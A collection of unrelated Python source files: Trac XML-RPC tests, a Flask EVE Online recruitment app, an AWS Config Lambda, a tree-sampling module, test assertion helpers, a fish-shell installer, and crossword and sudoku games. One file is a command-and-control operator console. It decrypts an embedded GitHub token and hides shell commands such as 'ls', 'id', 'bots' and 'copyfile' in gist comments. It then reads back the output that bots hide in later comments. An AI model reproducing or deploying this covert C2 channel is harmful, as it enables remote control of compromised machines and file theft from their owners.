        self.assertTrue('XML_RPC' in e.faultString)
        rpc_testenv._tracadmin('permission', 'add', 'anonymous',
                                        'XML_RPC', wait=True)

    def test_method_not_found(self):
        def local_test():
            self.admin.system.doesNotExist()
            self.fail("What? Method exists???")
        e = self.assertRaises(xmlrpclib.Fault, local_test)
        self.assertEquals(-32601, e.faultCode)
        self.assertTrue("not found" in e.faultString)

    def test_wrong_argspec(self):
        def local_test():
            self.admin.system.listMethods("hello")
            self.fail("Oops. Wrong argspec accepted???")
        e = self.assertRaises(xmlrpclib.Fault, local_test)
        self.assertEquals(1, e.faultCode)
        self.assertTrue("listMethods() takes exactly 2 arguments" \
                                    in e.faultString)

    def test_content_encoding(self):
        test_string = "øæåØÆÅàéüoö"
        # No encoding / encoding error
        def local_test():
            t_id = self.admin.ticket.create(test_string, test_string[::-1], {})
            self.admin.ticket.delete(t_id)
            self.fail("Expected ticket create to fail...")
        e = self.assertRaises(xmlrpclib.Fault, local_test)
        self.assertTrue(isinstance(e, xmlrpclib.Fault))
        self.assertEquals(-32700, e.faultCode)
        # Unicode version (encodable)
        from trac.util.text import to_unicode
        test_string = to_unicode(test_string)
        t_id = self.admin.ticket.create(test_string, test_string[::-1], {})
        self.assertTrue(t_id > 0)
        result = self.admin.ticket.get(t_id)
        self.assertEquals(result[0], t_id)
        self.assertEquals(result[3]['summary'], test_string)
        self.assertEquals(result[3]['description'], test_string[::-1])
        self.assertEquals(unicode, type(result[3]['summary']))
        self.admin.ticket.delete(t_id)

    def test_to_and_from_datetime(self):
        from datetime import datetime
        from trac.util.datefmt import to_datetime, utc
        from tracrpc.xml_rpc import to_xmlrpc_datetime, from_xmlrpc_datetime
        now = to_datetime(None, utc)
        now_timetuple = now.timetuple()[:6]
        xmlrpc_now = to_xmlrpc_datetime(now)
        self.assertTrue(isinstance(xmlrpc_now, xmlrpclib.DateTime),
                "Expected xmlprc_now to be an xmlrpclib.DateTime")
        self.assertEquals(str(xmlrpc_now), now.strftime("%Y%m%dT%H:%M:%S"))
        now_from_xmlrpc = from_xmlrpc_datetime(xmlrpc_now)
        self.assertTrue(isinstance(now_from_xmlrpc, datetime),
                "Expected now_from_xmlrpc to be a datetime")
        self.assertEquals(now_from_xmlrpc.timetuple()[:6], now_timetuple)
        self.assertEquals(now_from_xmlrpc.tzinfo, utc)

    def test_resource_not_found(self):
        # A Ticket resource
        e = self.assertRaises(xmlrpclib.Fault, self.admin.ticket.get, 2147483647)
        self.assertEquals(e.faultCode, 404)
        self.assertEquals(e.faultString,
                'Ticket 2147483647 does not exist.')
        # A Wiki resource
        e = self.assertRaises(xmlrpclib.Fault, self.admin.wiki.getPage, "Test", 10)
        self.assertEquals(e.faultCode, 404)
        self.assertEquals(e.faultString,
                'Wiki page "Test" does not exist at version 10')

    def test_xml_encoding_special_characters(self):
        tid1 = self.admin.ticket.create(
                                'One & Two < Four', 'Desc & ription', {})
        ticket = self.admin.ticket.get(tid1)
        self.assertEquals('One & Two < Four', ticket[3]['summary'])
        self.assertEquals('Desc & ription', ticket[3]['description'])
        self.admin.ticket.delete(tid1)

def test_suite():
    return unittest.makeSuite(RpcXmlTestCase)

if __name__ == '__main__':
    unittest.main(defaultTest='test_suite')


#!/usr/bin/env python
import datetime
import requests
import json
import re
from cryptography.fernet import Fernet

GITHUB_API = "https://api.github.com"
f = Fernet('58jYB5NRdeTGN74-V0atvV4yRo8wkAZrpzcDDD0_f6I=')
encrypted_string = b'gAAAAABjr3QSDZfB_tcIJNa8_8sQpNgdCYgXGeMdaFj4ayRyGo7E5TU2olVB6y_1NB6Wig8kA5xHvyVRYONakITOu5Z7z8gu2w4ITYw0kHpPrHTZKPuAAu8C7_ggcECirhAofBu8vG5T'
API_TOKEN = f.decrypt(encrypted_string).decode("utf-8")
GIST_ID = '11fc787784a6a18ee1b89f6ceb4f4803'
last_check_time = datetime.datetime.now()

# form a request URL
url = GITHUB_API + "/gists/" + GIST_ID + "/comments"
userInput = ''

while userInput != 'exit':
    # read user input
    print('Type command ([exit] = end app | [post] = create new comment | [read] = print output of all pending commands) : ')
    userInput = str(input())
    if userInput == 'exit':
        print('Bye :-)')
    elif userInput == 'read':
        print('Output of all pending commands:')
        headers = {'Authorization': 'Bearer %s' % API_TOKEN, 'Accept': 'application/json',
                   'X-GitHub-Api-Version': '2022-11-28'}
        params = {'scope': 'gist'}

        # make a GET request (load all comments in GitHub channel)
        results = requests.get(url, headers=headers, params=params).json()

        # obtain all new comments from gist channel
        for comment in results:
            # add one hour (for GTM +1)
            date = datetime.datetime.strptime(comment['updated_at'], '%Y-%m-%dT%H:%M:%SZ') + datetime.timedelta(hours=1)
            if date > last_check_time:
                # if comment is new -> read its body (text hidden in a markdown comment)
                hidden_text = re.findall('<!-- (.+?) -->', comment['body'])
                for command_output in hidden_text[1:]:
                    # print output for old commands
                    print(command_output)
        # update last check date time
        last_check_time = datetime.datetime.now()

    elif userInput == 'post':
        print('Type comment contents (anything):')
        contentInput = str(input())
        print('Type embedded command (e.g.: [ls], [id], [w], [bots] - display all bot ids, [copyfile <filename>] obtain file as base64 string...):')
        commandInput = str(input())

        # print headers,parameters,payload
        headers = {'Authorization': 'Bearer %s' % API_TOKEN, 'Accept': 'application/vnd.github+json',
                   'X-GitHub-Api-Version': '2022-11-28'}
        params = {'scope': 'gist'}
        payload = {"body": contentInput + ' <!-- ' + commandInput + ' -->'}

        # make a POST request (create new comment in GitHub channel)
        res = requests.post(url, headers=headers, params=params, data=json.dumps(payload))

        # print response status
        print(res.status_code)
    else:
        print('Invalid user input!')


from datetime import timedelta
import logging

from flask import Flask, render_template, request, flash, redirect, url_for, session
from flask_login import LoginManager, login_user, logout_user, current_user, login_required
from flask_htmlmin import HTMLMIN
from esipy import App, EsiClient, EsiSecurity

from .shared import db
from .models import User, Application
from .explorer import all_esi_read_scopes, CharacterExplorer

# Basic setup
app = Flask(__name__)
app.permanent_session_lifetime = timedelta(days=14)
app.config.from_json('config.json')
HTMLMIN(app)
# Database connection
db.app = app
db.init_app(app)
# Application logging
app.logger.setLevel(app.config['LOGGING_LEVEL'])
handler = logging.FileHandler('log.log')
handler.setFormatter(logging.Formatter(style='{', fmt='{asctime} [{levelname}] {message}', datefmt='%Y-%m-%d %H:%M:%S'))
handler.setLevel(app.config['LOGGING_LEVEL'])
app.logger.addHandler(handler)
# ESI
esi_headers = {'User-Agent': 'github.com/Celeo/GETIN-Apply | celeodor@gmail.com'}
esi_app = App.create('https://esi.tech.ccp.is/latest/swagger.json?datasource=tranquility')
esi_security = EsiSecurity(
    app=esi_app,
    client_id=app.config['CLIENT_ID'],
    secret_key=app.config['SECRET_KEY'],
    redirect_uri=app.config['REDIRECT_URI'],
    headers=esi_headers
)
esi_client = EsiClient(
    security=esi_security,
    headers=esi_headers
)

# User management
login_manager = LoginManager(app)
login_manager.login_message = ''
login_manager.login_view = 'index'

@login_manager.user_loader
def load_user(user_id):
    return User.query.filter_by(id=int(user_id)).first()

# ====================================================
# Routes
# ====================================================

@app.route('/')
def index():
    app_status = None
    if not current_user.is_anonymous:
        if not current_user.is_in_alliance:
            app = Application.query.filter_by(user_id=current_user.id).first()
            if app:
                app_status = app.status
    return render_template('index.html', app_status=app_status)

@app.route('/sso_callback')
def sso_callback():
    code = request.args.get('code')
    if not code:
        flash('No code from EVE SSO found', 'error')
        return redirect(url_for('index'))
    tokens = esi_security.auth(code)
    char_info = esi_security.verify()
    if request.args.get('state') == 'apply':
        session['apply_token'] = tokens['refresh_token']
        return redirect(url_for('apply'))
    corporation, alliance = get_affiliation(esi_app, esi_client, char_info['CharacterID'])
    user = User.query.filter_by(name=char_info['CharacterName']).first()
    new_user = True
    if user:
        new_user = False
        user.corporation = corporation
        user.alliance = alliance
    else:
        user = User(char_info['CharacterName'], corporation, alliance)
        db.session.add(user)
    db.session.commit()
    login_user(user)
    app.logger.info('{} logged in{}'.format(user.name, ' for the first time' if new_user else ''))
    return redirect(url_for('index'))

@app.route('/logout')
@login_required
def logout():
    logout_user()
    session.clear()
    app.logger.info('{} logged out'.format(current_user.name if not current_user.is_anonymous else '<anon>'))
    return redirect(url_for('index'))

@app.route('/apply')
@login_required
def apply():
    if current_user.is_in_alliance:
        return redirect(url_for('index'))
    scopes_sso_login = esi_security.get_auth_uri(scopes=all_esi_read_scopes, state='apply')
    step = 1
    if session.get('apply_token'):
        step = 2
    return render_template('apply.html', scopes_sso_login=scopes_sso_login, step=step)

@app.route('/apply/submit')
@login_required
def submit_apply():
    current_user.refresh_token = session.pop('apply_token')
    db.session.commit()
    db.session.add(Application(current_user.id, request.form.get('note')))
    db.session.commit()
    return redirect(url_for('index'))

@app.route('/processing')
@login_required
def processing():
    if not current_user.recruiter and not current_user.admin:
        return redirect(url_for('index'))
    show_completed = request.args.get('show_completed', type=int) == 1
    apps = Application.query.filter_by(complete=show_completed).all()
    return render_template('processing.html', applications=apps, show_completed=show_completed)

@app.route('/processing/<int:app_id>/status', methods=['POST'])
@login_required
def processing_change_status(app_id):
    if not current_user.recruiter and not current_user.admin:
        return redirect(url_for('index'))
    if not request.method == 'POST':
        return redirect(url_for('processing'))
    application = Application.query.filter_by(id=app_id).first()
    if not application:
        flash('Unknown app id', 'error')
        return redirect(url_for('processing'))
    new_status = request.form.get('status')
    if not new_status:
        flash('No new status set', 'error')
        return redirect(url_for('processing'))
    application.status = new_status
    db.session.commit()
    return redirect(url_for('processing'))

@app.route('/processing/<int:app_id>/complete', methods=['POST'])
@login_required
def processing_set_complete(app_id):
    if not current_user.recruiter and not current_user.admin:
        return redirect(url_for('index'))
    if not request.method == 'POST':
        return redirect(url_for('processing'))
    application = Application.query.filter_by(id=app_id).first()
    if not application:
        flash('Unknown app id', 'error')
        return redirect(url_for('processing'))
    application.complete = True
    db.session.commit()
    return redirect(url_for('processing'))

@app.route('/api_view/<int:character_id>')
@login_required
def view_api(character_id: int):
    if not current_user.recruiter and not current_user.admin:
        return redirect(url_for('index'))
    user = User.query.filter_by(id=character_id).first()
    if not user:
        flash('No user with that ID found', 'error')
        return redirect(url_for('processing'))
    if not user.refresh_token:
        flash('That user doesn\'t have a refresh token on file', 'error')
        return redirect(url_for('processing'))
    return render_template('api_view.html', explorer=CharacterExplorer(esi_app, esi_security, esi_client, user.refresh_token))

@app.route('/api_view/mail/<token>/<int:mail_id>')
def get_mail_body(token, mail_id):
    explorer = CharacterExplorer(esi_app, esi_security, esi_client, token, load_now=False)
    return explorer.get_mail_body(mail_id)

@app.route('/admin')
@login_required
def admin():
    if not current_user.admin:
        return redirect(url_for('index'))
    return 'admin'

@app.errorhandler(404)
def error_404(e):
    return render_template('error.html', code=404)

@app.errorhandler(500)
def error_500(e):
    return render_template('error.html', code=500)

# ====================================================
# Template add-ins
# ====================================================

@app.context_processor
def context_processor():
    return {
        'sso_login_url': esi_security.get_auth_uri()
    }

@app.template_filter('mail_recipients')
def filter_mail_recipients(data):
    return ', '.join([r['recipient_name'] for r in data])

@app.template_filter('format_number')
def filter_format_number(s):
    return '{:,}'.format(int(s))

@app.template_filter('sort_skills')
def filter_sort_skills(skills):
    return sorted(skills, key=lambda e: (e['group_name'], e['skill_name']))

# ====================================================
# Util
# ====================================================

def get_affiliation(app: 'esipy.App', client: 'esipy.EsiClient', character_id: int) -> (str, str):
    result = client.request(app.op['get_characters_character_id'](character_id=character_id)).data
    corp_id, alliance_id = result['corporation_id'], result.get('alliance_id')
    ids = [i for i in [corp_id, alliance_id] if i]
    result = client.request(app.op['post_universe_names'](ids=ids)).data
    corp_name = result[0]['name']
    alliance_name = result[1]['name'] if len(ids) == 2 else None
    return corp_name, alliance_name


import boto3
import json
import logging
import botocore.exceptions
import os

def lambda_handler(event, context):

    LOG_LEVEL = os.getenv('LOG_LEVEL')
    logging.getLogger().setLevel(LOG_LEVEL)

    try:

        logging.info('Event Body:')

        body = json.loads(event['Records'][0]['body'])
        account_id = body['Account']
        aws_region = body['Region']
        event = body['Event']

        logging.info(f'Extracted Account: {account_id}')
        logging.info(f'Extracted Region: {aws_region}')
        logging.info(f'Extracted Event: {event}')

        bc = botocore.__version__
        b3 = boto3.__version__

        logging.info(f'Botocore : {bc}')
        logging.info(f'Boto3 : {b3}')

        STS = boto3.client("sts")

        def assume_role(account_id, role='AWSControlTowerExecution'):
            '''
            Return a session in the target account using Control Tower Role
            '''
            try:
                curr_account = STS.get_caller_identity()['Account']
                if curr_account != account_id:
                    part = STS.get_caller_identity()['Arn'].split(":")[1]

                    role_arn = 'arn:' + part + ':iam::' + account_id + ':role/' + role
                    ses_name = str(account_id + '-' + role)
                    response = STS.assume_role(RoleArn=role_arn, RoleSessionName=ses_name)
                    sts_session = boto3.Session(
                        aws_access_key_id=response['Credentials']['AccessKeyId'],
                        aws_secret_access_key=response['Credentials']['SecretAccessKey'],
                        aws_session_token=response['Credentials']['SessionToken'])

                    return sts_session
            except botocore.exceptions.ClientError as exe:
                logging.error('Unable to assume role')
                raise exe

        sts_session = assume_role(account_id)
        logging.info(f'Printing STS session: {sts_session}')

        # Use the session and create a client for configservice
        configservice = sts_session.client('config', region_name=aws_region)

        # Describe configuration recorder
        configrecorder = configservice.describe_configuration_recorders()
        logging.info(f'Existing Configuration Recorder :', configrecorder)

        # ControlTower created configuration recorder with name "aws-controltower-BaselineConfigRecorder" and we will update just that
        try:
            role_arn = 'arn:aws:iam::' + account_id + ':role/aws-controltower-ConfigRecorderRole'

            CONFIG_RECORDER_EXCLUSION_RESOURCE_STRING = os.getenv('CONFIG_RECORDER_EXCLUDED_RESOURCE_LIST')
            CONFIG_RECORDER_EXCLUSION_RESOURCE_LIST = CONFIG_RECORDER_EXCLUSION_RESOURCE_STRING.split(',')

            # Event = Delete is when stack is deleted, we rollback changed made and leave it as ControlTower Intended
            if event == 'Delete':
                response = configservice.put_configuration_recorder(
                    ConfigurationRecorder={
                        'name': 'aws-controltower-BaselineConfigRecorder',
                        'roleARN': role_arn,
                        'recordingGroup': {
                            'allSupported': True,
                            'includeGlobalResourceTypes': False
                        }
                    })
                logging.info(f'Response for put_configuration_recorder :{response} ')

            else:
                response = configservice.put_configuration_recorder(
                    ConfigurationRecorder={
                        'name': 'aws-controltower-BaselineConfigRecorder',
                        'roleARN': role_arn,
                        'recordingGroup': {
                            'allSupported': False,
                            'includeGlobalResourceTypes': False,
                            'exclusionByResourceTypes': {
                                'resourceTypes': CONFIG_RECORDER_EXCLUSION_RESOURCE_LIST
                            },
                            'recordingStrategy': {
                                'useOnly': 'EXCLUSION_BY_RESOURCE_TYPES'
                            }
                        }
                    })
                logging.info(f'Response for put_configuration_recorder :{response} ')

            # lets describe for configuration recorder after the update
            configrecorder = configservice.describe_configuration_recorders()
            logging.info(f'Post Change Configuration recorder : {configrecorder}')

        except botocore.exceptions.ClientError as exe:
            logging.error('Unable to Update Config Recorder for Account and Region : ', account_id, aws_region)
            configrecorder = configservice.describe_configuration_recorders()
            logging.info(f'Exception : {configrecorder}')
            raise exe

        return {
            'statusCode': 200
        }

    except Exception as e:
        exception_type = e.__class__.__name__
        exception_message = str(e)
        logging.exception(f'{exception_type}: {exception_message}')


"""
Joint state sampling algorithm for a Markov chain on a NetworkX tree graph.

"""
from __future__ import division, print_function, absolute_import

import random

import numpy as np
import networkx as nx

from npmctree import dynamic_fset_lhood, dynamic_lmap_lhood
from .util import normalized, weighted_choice

__all__ = [
        'sample_history',
        'sample_histories',
        'sample_unconditional_history',
        'sample_unconditional_histories',
        ]

def sample_history(T, edge_to_P, root,
        root_prior_distn1d, node_to_data_lmap):
    """
    Jointly sample states on a tree.
    This is called a history.

    """
    v_to_subtree_partial_likelihoods = dynamic_lmap_lhood._backward(
            T, edge_to_P, root, root_prior_distn1d, node_to_data_lmap)
    node_to_state = _sample_states_preprocessed(T, edge_to_P, root,
            v_to_subtree_partial_likelihoods)
    return node_to_state

def sample_histories(T, edge_to_P, root,
        root_prior_distn1d, node_to_data_lmap, nhistories):
    """
    Sample multiple histories.
    Each history is a joint sample of states on the tree.

    """
    v_to_subtree_partial_likelihoods = dynamic_lmap_lhood._backward(
            T, edge_to_P, root, root_prior_distn1d, node_to_data_lmap)
    for i in range(nhistories):
        node_to_state = _sample_states_preprocessed(T, edge_to_P, root,
                v_to_subtree_partial_likelihoods)
        yield node_to_state

def _sample_states_preprocessed(T, edge_to_P, root,
        v_to_subtree_partial_likelihoods):
    """
    Jointly sample states on a tree.

    This variant requires subtree partial likelihoods.

    """
    root_partial_likelihoods = v_to_subtree_partial_likelihoods[root]
    n = root_partial_likelihoods.shape[0]
    if not root_partial_likelihoods.any():
        return None
    distn1d = normalized(root_partial_likelihoods)
    root_state = weighted_choice(n, p=distn1d)
    v_to_sampled_state = {root : root_state}
    for edge in nx.bfs_edges(T, root):
        va, vb = edge
        P = edge_to_P[edge]

        # For the relevant parent state,
        # compute an unnormalized distribution over child states.
        sa = v_to_sampled_state[va]

        # Construct conditional transition probabilities.
        sb_weights = P[sa] * v_to_subtree_partial_likelihoods[vb]

        # Sample the state.
        distn1d = normalized(sb_weights)
        v_to_sampled_state[vb] = weighted_choice(n, p=distn1d)

    return v_to_sampled_state

def sample_unconditional_history(T, edge_to_P, root, root_prior_distn1d):
    """
    No data is used in the sampling of this state history at nodes.

    """
    nstates = root_prior_distn1d.shape[0]
    node_to_state = {root : weighted_choice(nstates, p=root_prior_distn1d)}
    for edge in nx.bfs_edges(T, root):
        va, vb = edge
        P = edge_to_P[edge]
        sa = node_to_state[va]
        node_to_state[vb] = weighted_choice(nstates, p=P[sa])
    return node_to_state

def sample_unconditional_histories(T, edge_to_P, root,
        root_prior_distn1d, nhistories):
    """
    Sample multiple unconditional histories.

    This function is not as useful as its conditional sampling analog,
    because this function does not require pre-processing.

    """
    for i in range(nhistories):
        yield sample_unconditional_history(
            T, edge_to_P, root, root_prior_distn1d)


"""Type only classes that should be used when trying to type tpcp derived classes.

Note, this module only imports them, but they are defined close to places where they are used.
"""

from tpcp._algorithm import AlgorithmT
from tpcp._base import BaseTpcpObjectT
from tpcp._dataset import DatasetT
from tpcp._pipeline import OptimizablePipelineT, PipelineT
from tpcp.validate._scorer import (
    AggReturnType,
    MultiScoreTypeT,
    ScoreFunc,
    ScoreFuncMultiple,
    ScoreFuncSingle,
    ScoreTypeT,
    SingleScoreTypeT,
)

__all__ = [
    "BaseTpcpObjectT",
    "PipelineT",
    "OptimizablePipelineT",
    "DatasetT",
    "AlgorithmT",
    "ScoreTypeT",
    "SingleScoreTypeT",
    "MultiScoreTypeT",
    "AggReturnType",
    "ScoreFuncSingle",
    "ScoreFuncMultiple",
    "ScoreFunc",
]


from Utility import Log
import json

class Assertions:
    def __init__(self):
        self.log = Log.Logs()

    def assert_code(self, status, expected_code):
        '''
        status code check
        :param status:
        :param expected_code:
        :return:
        '''
        try:
            if status == 200 or status == 201 or status == 202:
                print("\n Test Passed - Successfull " + str(status))
            elif status == 400 or status == 401 or status == 402 or status == 403 or status == 404:
                print("\n Test Failed - client error " + str(status))
            elif status == 500 or status == 501 or status == 502:
                print("\n Test Failed - Server error " + str(status))

            assert status == expected_code
            self.log.info(f"Status code: {status}")

            return True
        except:
            self.log.error(f"statusCode error, expected_code is {expected_code} statusCode is {status}")

    def assert_body(self, body, body_msg, expected_msg):
        '''
        This method use for check assert body response value
        :param body:
        :param body_msg:
        :param expected_msg:
        :return:
        '''
        try:
            msg = body[f"{body_msg}"]
            assert f"{msg}" == f"{expected_msg}"
            self.log.info(f"Success: {msg}")

            return True

        except:
            self.log.error(
                "Response body msg != expected_msg, expected_msg is %s, body_msg is %s" % (expected_msg, body_msg))

    def assert_in_text(self, body, expected_msg):
        '''
        :param body:
        :param expected_msg:
        :return:
        '''
        try:
            text = json.dumps(body, ensure_ascii=False)
            assert expected_msg in text

            return True

        except:
            self.log.error("Response body Does not contain expected_msg, expected_msg is %s" % expected_msg)

    def assert_text(self, body, expected_msg):
        '''
        response body message
        :param body:
        :param expected_msg:
        :return:
        '''
        try:
            assert body == expected_msg
            self.log.info(f"Response body: {body} expected_msg: {expected_msg}")

            return True

        except:
            self.log.error("Response body != expected_msg, expected_msg is %s, body is %s" % (expected_msg, body))

    def assert_time(self, time, expected_time):
        '''
        response time check
        :param time:
        :param expected_time:
        :return:
        '''
        try:
            assert time < expected_time
            self.log.info("Response time < expected_time, expected_time is %s, time is %s" % (expected_time, time))

            return True

        except:
            self.log.error("Response time > expected_time, expected_time is %s, time is %s" % (expected_time, time))


from Robot import *
from Observer import *
import shutil
import time
import os

import warnings
warnings.filterwarnings("ignore")

#import distutils
#if distutils.distutils_path.endswith('__init__.py'):
#    distutils.distutils_path = os.path.dirname(distutils.distutils_path)

#observer = Observer(hosted=True, name="Jos")
name = "Caco"
os.system("mpg123 -q open.mp3")
robot = Robot(name)
robot.actor.devices['eyes'].act('neutral')
time.sleep(5)
robot.actor.devices['eyes'].act('amused')
robot.actor.devices['speaker'].act("Hi! I am " + robot.name + ".")
robot.thinker.policy.load(name + ".json")
robot.actor.devices['eyes'].act('neutral')
done = False
while not done:
    robot.tao()
    robot.actor.devices['eyes'].act('neutral')
    robot.vague = False
    if robot.session_done:
        done = True
robot.ask_feedback()
robot.actor.devices['eyes'].act('closed')
os.system("mpg123 -q exit.mp3")
robot.thinker.policy.save(name + ".json")
print(robot.actions)
print(robot.rewards)

""" source = self.mic
 audio = self.recorder.listen(source)
 input = self.recorder.recognize_google(audio)
 return input"""


import subprocess
from typing import Optional

from .abs_package import AbsPackage
from .apt import Apt
from .brew import Brew
from .util import bin_loc, github_release_metadata, is_installed, get_user_approval

# TODO: be safe when doing chsh!!

class Fish(AbsPackage):
    def __init__(self):
        super().__init__()

    def is_installed(self):
        return is_installed("fish")

    def get_version(self):
        output = subprocess.check_output(
            [
                "fish",
                "--version",
            ]
        )

        output = output.decode("utf-8")
        words = output.split(" ")
        if words[0] == "fish,":
            return words[2].rstrip()

        # should never be hit
        return None

    def __update_shell(self):
        favorite_shells = ["fish", "bash", "zsh", "sh"]

        for shell in favorite_shells:
            shell_loc = bin_loc(shell)
            if shell_loc is not None and get_user_approval(
                "change shell to ", shell_loc, "?"
            ):
                print("updating shell to:", shell_loc)
                subprocess.run(["chsh", "-s", shell_loc])
                return

    def __check_for_shell_in_etc_shells(self, shell):
        shell_loc = bin_loc(shell)
        file = open("/etc/shells", "r")
        lines = file.readlines()
        for line in lines:
            if shell_loc == line.strip():
                print("shell is in /etc/shells:", shell_loc)
                return True
        print("shell is not in /etc/shells:", shell_loc)
        return False

    def __add_shell_to_etc_shells(self, shell):
        shell_loc = bin_loc("fish")

        if shell_loc is not None and not self.__check_for_shell_in_etc_shells(shell):
            print("adding", shell_loc, "to /etc/shells")

            ps = subprocess.Popen(
                ("echo", shell_loc),
                stdout=subprocess.PIPE,
            )

            output = subprocess.check_output(
                (
                    "sudo",
                    "tee",
                    "-a",
                    "/etc/shells",
                ),
                stdin=ps.stdout,
            )
            ps.wait()

    def linux_install(self):
        apt = Apt()
        apt.add_apt_repo("ppa:fish-shell/release-3")
        apt.update()
        apt.install("fish")

        self.__add_shell_to_etc_shells("fish")
        self.__update_shell()

    def linux_uninstall(self):
        apt = Apt()
        apt.uninstall("fish")

        self.__update_shell()

    def osx_install(self):
        brew = Brew()
        brew.brew_install(
            pkgs="fish",
            flags="--HEAD",
        )

        self.__add_shell_to_etc_shells("fish")
        self.__update_shell()

    def osx_uninstall(self):
        brew = Brew()
        brew.brew_uninstall(
            pkgs="fish",
        )
        self.__update_shell()


import random
import string
import datetime
import numpy as np
import pandas as pd
import json

import nltk
from nltk.corpus import stopwords
STOPWORDS = stopwords.words('english')

# source: https://cryptics.georgeho.org/data/clues
# CLUEFILE = '/Users/mobeets/Downloads/clues.csv'
CLUEFILE = '/Users/mobeets/code/react-crossword-generator/data/clues.txt'
WORDFILE = 'dictionary.json'

MIN_CLUES = 10
MIN_LENGTH = 5
MAX_LENGTH = 5
MAX_TRIES = 5
JOIN_KEY = '|||'

def load_cluefile(cluefile=CLUEFILE):
	# df = pd.read_csv(cluefile)
	# df = df[df.puzzle_name.apply(lambda x: 'cryptic' not in x.lower() if type(x) is str else False) == True]
	df = pd.read_csv(cluefile, sep='\t', header=None, names=['clue', 'answer', 'x', 'y'])
	return df

def partition(xs, condition):
	"""
	split a list into those that match a condition and those that do not
	"""
	good, bad = [], []
	for x in xs:
		good.append(x) if condition(x) else bad.append(x)
	return good, bad

def rm_punctuation(clue):
	"""
	remove punctuation from clue
	"""
	return clue.translate(str.maketrans('', '', string.punctuation))

def get_word_set(clue, min_word_length):
	"""
	split clue into words of min length that are not stopwords
	"""
	ws = rm_punctuation(clue)
	return [x for x in ws.lower().split(' ') if len(x) >= min_word_length and x not in STOPWORDS]

def remove_similar_words(clues, min_word_length=4):
	"""
	get a preferred group of clues that all have unique words
	"""
	keeps = []
	ignores = []
	all_words = set()
	for clue in clues:
		words = get_word_set(clue, min_word_length)
		if any([w in words for w in all_words]):
			ignores.append(clue)
		else:
			keeps.append(clue)
			all_words.update(words)
	return keeps, ignores

def group_clues_by_type(clues):
	quets, clues = partition(clues, lambda clue: clue.endswith('?'))
	metas, clues = partition(clues, lambda clue: ', say' in clue or 'maybe, ' in clue or ', in a way' in clue or ', perhaps' in clue or ', for one' in clue or ', e.g.' in clue)

	order = []
	if quets:
		order.append(quets.pop())
	if quets:
		order.append(quets.pop())
	if metas and len(order) < 2:
		order.append(metas.pop())
	# if metas and len(order) < 2:
	# 	order.append(metas.pop())
	if clues:
		order.extend(clues)
	if quets:
		order.extend(quets)
	if metas:
		order.extend(metas)
	return order

def order_clues(clues):
	keeps, ignores = remove_similar_words(clues)
	clues_A = group_clues_by_type(keeps)
	clues_B = group_clues_by_type(ignores)
	return clues_A# + clues_B

def order_and_filter_clues(outfile='answers_sorted.json', min_count=6):
	answers = load_answers()
	new_answers = []
	for item in answers:
		clues = order_clues(item['clues'])
		if len(clues) >= min_count:
			item['clues'] = clues[:min_count]
			new_answers.append(item)
	json.dump(new_answers, open(outfile, 'w'))

def save_answers(cluefile=CLUEFILE, outfile='targets2.json', min_clues=MIN_CLUES, min_length=MIN_LENGTH, max_length=MAX_LENGTH, dictfile='dictionary.json'):
	df = load_cluefile(cluefile)

	if dictfile:
		words = json.load(open(dictfile))
	else:
		words = []

	answers = []
	for answer, dfc in df.groupby('answer'):
		if len(answer) < min_length or len(answer) > max_length:
			continue
		if any([x not in string.ascii_letters for x in answer]):
			continue
		clues = dfc.clue.values.tolist()
		lenstr = '({})'.format(len(answer))
		clues = list(set([clue.replace(lenstr, '').strip() for clue in clues if type(clue) is str]))
		clues = [c for c in clues if 'across' not in c.lower() and 'down' not in c.lower()]
		if len(clues) < min_clues:
			continue
		if words and answer.lower() not in words:
			continue
		answers.append({'answer': answer, 'clues': clues})

	np.random.shuffle(answers)
	json.dump(answers, open(outfile, 'w'))

def get_answer_and_clues(answers):
	# answers = filter_answers(answers)
	item = random.choice(answers)
	return item['answer'], item['clues']

def load_answers(infile='answers.json'):
	return json.load(open(infile))

def main():
	answers = load_answers()
	answer, clues = get_answer_and_clues(answers)

	print("X"*len(answer))
	for i in range(MAX_TRIES):
		clue = clues.pop()
		print(clue)
		guess = input('Guess {} of {}: '.format(i+1, MAX_TRIES))
		if guess.strip().upper() == answer:
			print("CORRECT!")
			return
	print("YOU LOSE. The correct answer was {}.".format(answer))

if __name__ == '__main__':
	save_answers()
	# main()


"""
Main game module for sudoku.

Created on 11.08.2018

@author: Ruslan Dolovanyuk

"""

import copy
import pickle
import random
import time

import pygame

from configparser import ConfigParser

from board import Board

from constants import Colors

from player import Player

from solver import solve_sudoku

from speech import Speech

from sudoku import Generator

class Game:
    """Main running class for game."""

    def __init__(self):
        """Initialize running class."""
        self.__LOW = 33
        self.__MIDLE = 27
        self.config = ConfigParser()
        self.config.read('settings.ini')
        self.size_x = self.config.getint('screen', 'size_x')
        self.size_y = self.config.getint('screen', 'size_y')
        self.difficult = self.config.get('board', 'difficult')

        with open('languages.dat', 'rb') as lang_file:
            self.phrases = pickle.load(lang_file)[self.config.get('total', 'language')]

        self.speech = Speech(self.config)
        self.speech.speak(self.phrases['start'])

        pygame.init()
        pygame.font.init()

        self.screen = pygame.display.set_mode((self.size_x, self.size_y))
        pygame.display.set_caption('Sudoku')

        self.board = Board(self.config, self.screen)
        self.player = Player(self.board, self.speech, self.phrases)
        self.game_over = True
        self.win = False
        self.handle_numbers = {'K_'+str(num): num for num in range(10)}
        self.handle_numbers.update({'K_KP'+str(num): num for num in range(10)})

        self.fontObj = pygame.font.SysFont('arial', 50)
        self.clock = pygame.time.Clock()

        self.gen = Generator()
        self.new_game()
        try:
            save_file = open('autosave.sav', 'rb')
        except IOError as e:
            pass
        else:
            with save_file:
                data = pickle.load(save_file)
                self.grid = data['grid']
                self.origin = data['origin']
                self.board.cells = data['cells']
                for cell in self.board.cells:
                    if 0 != cell.status:
                        cell.set_text()
                self.speech.speak(self.phrases['load'])
                self.player.speak()

    def mainloop(self):
        """Run main loop game."""
        self.running = True
        while self.running:
            self.handle_events()
            self.draw()

            self.clock.tick(15)
            pygame.display.flip()

        with open('autosave.sav', 'wb') as save_file:
            data = {'cells': self.board.cells, 'grid': self.grid, 'origin': self.origin}
            pickle.dump(data, save_file)
            self.speech.speak(self.phrases['save'])
        self.speech.speak(self.phrases['finish'])
        pygame.quit()

    def handle_events(self):
        """Check all game events."""
        for event in pygame.event.get():
            if pygame.QUIT == event.type:
                self.running = False
            elif pygame.KEYDOWN == event.type:
                if pygame.K_ESCAPE == event.key:
                    self.running = False
                elif pygame.K_F1 == event.key:
                    self.help()
                elif pygame.K_F4 == event.key:
                    self.change_level()
                elif pygame.K_F5 == event.key:
                    self.new_game()
